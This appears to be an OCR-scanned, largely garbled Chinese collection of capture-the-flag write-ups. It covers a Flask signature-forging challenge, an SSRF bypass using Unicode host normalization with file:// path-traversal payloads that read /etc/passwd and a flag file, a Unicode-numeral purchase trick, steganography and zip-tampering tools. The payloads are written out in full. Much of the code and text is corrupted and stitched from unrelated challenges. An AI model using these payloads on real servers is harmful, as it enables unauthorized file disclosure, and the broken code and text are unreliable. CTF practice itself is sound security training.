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47 <div class="ui grid’:

43 <div clazz="four wide column”></div>

49 <div class="eight wide column”>

50 <= httpz:/fgithub. comfwoads11234/ hetf flask/ —>

51 <form class="ui form segment” method="post” enctype="multi
52 <div clazz="field required”>

53 <label>NewPassword</label>

54 <input id="newpassword” name="newpaszsword” required t¥
55 <fdivs

7E config.py F R I SECRET_KEY: ckj123, [FIFf K IsessionAjwt, EEHZE—T.

* kabl B admin LA 10 SRk 1 19 EfIsession5 E R AT E#, 13ZIflag.
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A =% | 30107a2e-63¢5-415a-9f26-57bBdcarc898.node3 . buuoj.cn/index
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from flask import Flask
from flask import request
socket
hashlib
urllib
sys
os

json




sys.setdefaultencoding(

app Flask(__name_ )

secert_key = os.urandom(16)

class Task:
def _ init_ (self, action, param, sign, ip):
self.action action
self.param param
self.sign = sign
self.sandbox = md5(ip)
if( os.path.exists(self.sandbox)):

os.mkdir(self.sandbox)

Exec(self):
result {}
result[ ] 500
if (self.checkSign()):
if in self.action:
tmpfile ( self.sandbox,
resp = scan(self.param)

if (resp
result[
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result[ ] 200
in self.action:
f ( self.sandbox,
result[ 200
result[ f.read()
if result| 500:
result[
else:
result[
result[

return result

checkSign(self):

if (getSign(self.action, self.param) self.sign):
return True

else:
return False

@app.route( , methods=[

def geneSign():
param = urllib.unquote(request.args.get(
action

return getSign(action, param)
@app.route( ,methods=|[ D)

def challenge():
action urllib.unquote(request.cookies.get(




param urllib.unquote(request.args.get(
sign urllib.unquote(request.cookies.get(
ip request.remote_addr
if(waf(param)):
return

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route( )

def index():

return ).read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50
except:

return

getSign(action, param):
return hashlib.md5(secert_key param action).hexdigest()

md5(content):
return hashlib.md5(content).hexdigest()

waf(param):
check=param.strip().lower()
if check.startswith( check.startswith(

return True
else:
return False

if _ _name__
app.debug False
app.run(host

HAEERH:
1. BT /genesign BEHIATT LLIZ K hashlib.md5(secert_key + param + action).hexdigest() HIfE, H action HIE#EEHE
A scan .
2. J8iT /peilta ¥ HHET LABREL SO, @it Exec BT 1&11#&’]1&755&@6%*&?‘
3. ERMEEPAT Exec BEE T RBCCHHIARE, BEFEET checkSign() BIIE, HERARIEHXKFIMA5E 2 BHZ.
DI B IFIEME, checkSign() F&eid, BidHik /genesign?param=xxx Bl A] B Emd5E, BERAENIE secert_key HIMH,
HRMEHVLEME, RIMNRAFERIMEEMMISE, FIEEBN sign 1, Vil /pDelta A,
SRJGHIE /geneSign?param=Fflag.txtread 1 1323 9a6fa1811f9ac95a5b6d72c5c12ee9d7 , FHMJIEIN T WAL flag

< C A d78 530-4503-016e-ab4dcc4b78e7.node3. buuoj.cn n=fi

{"code™: 200, "data": "flag{842c41ff-80a3-47d7-98d5-722056a%a7a8}\n"}
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@app.route( , methods=[
def getUrl():
url request.args.get( )
host parse.urlparse(url).hostname
if host
return
parts (urlsplit(url))
host parts[1]
if host
return
newhost []
for h in host.split( ):

newhost.append(h.encode( ) .decode(

parts[1] .join(newhost)

finalUrl urlunsplit(parts).split( )[0]
host parse.urlparse(finalUrl).hostname
if host
return urllib.request.urlopen(finalUrl).read()
else:

return

X R B R 3 38 R B R blackhatisl i 2 —HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
M _E B — AN A


https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get unicode():
for x in (65536):
uni ©9)
url
try:
if getUrl(url):
print(
except:

pass

def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host
return False
parts (urlsplit(url))
host=parts[1]
if host
return False
newhost=[]
for h in host.split( E
newhost.append(h.encode( ) .decode(
parts[1] .join(newhost)
finalUrl=urlunsplit(parts).split( )[9]
host=parse.urlparse(finalUrl).hostname
if host
return True
else:
return False

if _ _name__

get_unicode()

FIREJR IR /getUrl?url=Ffile://suctf.c/../../../../../etc/passwd RILBUCHE, BREUEC B S04 & Biflagffr

&, /usr/local/nginx/conf/nginx.conf
< CcC A-

server { listen 80; location / { try_files $uri @app; } location @app {
include uwsgi_params; uwsgi_pass unix:.///tmp/uwsgi.sock; } location
/static { alias /app/static; } # location /flag { # alias fusr/fffffflag; # } }

B JE & In T payloadi Bt flag

/getUrl?url=file://suctf.c/../../../../../usr/fffffflag
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Item  Price  English Spanish German Russian

1D

1 20 black and white unicornio blanco y Schwarzweiss- YyepHo-Genkli
unicorn negro Einhom EQWMHOpOT

2 50 unicorn family familia unicornio Einhom-Familie CEMbA EOMHOPOTA

3 8.0 WaIrTior unicom guerrero unicornic Krieger Einhorn BOWH £QWHOpOT

4 1337.0 ultra unicorn ultra unicornio ultra Einhorn YNLTPA &0MHOpOr

Purchase Unicorn

ltem 1D Price Purchasel

ERERWEART), WRIEMANDNFRUL, ERREL T RS ANFRD , RS E KRS Unicode , 8E]
BIAN—" Unicode FAF Rt KLU i, Bk Rflag, FEXAF w5 _EHEHR BRI — A F5F

Unicode Character “ee” (U+137C)

—
—
Name: Ethiopic Number Ten Thousand ™!
Numeric Value: 10000
Unicode Version: 3.0 (September 1999) 2
Block: Ethiopic, U+1200 - U+137FF!

HUTF-84sf5 A oxE1 0x8D OxBC , =M I% N %E1%8D%BC BI ], 4R )5 L5 Fflag.
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https://www.compart.com/en/unicode/

R B HERE R R BUAR T

B HEHR T 2 J5 /52 E M HELLeFORUM , B3| —FKE R, EMIsbfaE MABT#EE, FOVEEMMEE NS, PFrilzlE
123456 , BJG1FZ] flag{jsy@9-wytg5-wiuss8} o
python2 1sb.py extract 1.png new 123456

thon? 1sk. py extract l.png new 1
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tcpdump -n -r nmapll.pcapng 'tcp[13] = 18' | awk '{print $3}'| sort -u
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flag: suctf{hAHaha_Fak3_Flag}

RIGEER AP RIAGFEISDRE, £BITE0OBERS—BRF/FHE, £MN EERTHREZKINLIDESIE, ARTRAMIER, X2
B 88 3k u2Fsdavkxa HIBT R, SR EE173DESMEHEEN A5 Riflag, Y NE —IREE
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http://www.metools.info/code/c27.html

REUHRFTA KhttoiF R, KBURLZIKE fr, 7Ekali 26 A T a5 2] — ¥ Kiflag

$ exiftool x|grep flag

XP Comment : BREM I BB —%T ,F*85 — ¥ | flag{ae58d0408e26e8f

FITFRE—FLECPM M4 R (W EEEK, e, EER, BASAEAURIMARE, —RRREH)

m .U 0..~bBR.NIS.IN. .. g-5.N15.T..2.6.a.3.c.0.5.8.9.d.2.3 .e.d.e.e.C. }.cu... http://ns.adobe.com/xap/1.8/.<?xpacket begin="..."
id="W5MBMpCehiHzreSzNTczke9d" 2>
<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.0org/1999/82/22-rdf-syntax-ns#"/></x:xmpmeta>

w
HEE 18070, 19 EoN HLE 21 FEE HE 35 rurnls) AFEE.
Tatire comersation (23 IB) = SRAREES T - b
i | G )

R TED Save as Close Help
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SR httpB P SO, RI—AMAINERESEE, HREREEFHBEERT, M zipcenop TRABR, MIhEEiflag.

java -jar .\ZipCenOp.jar r .\secret.zip
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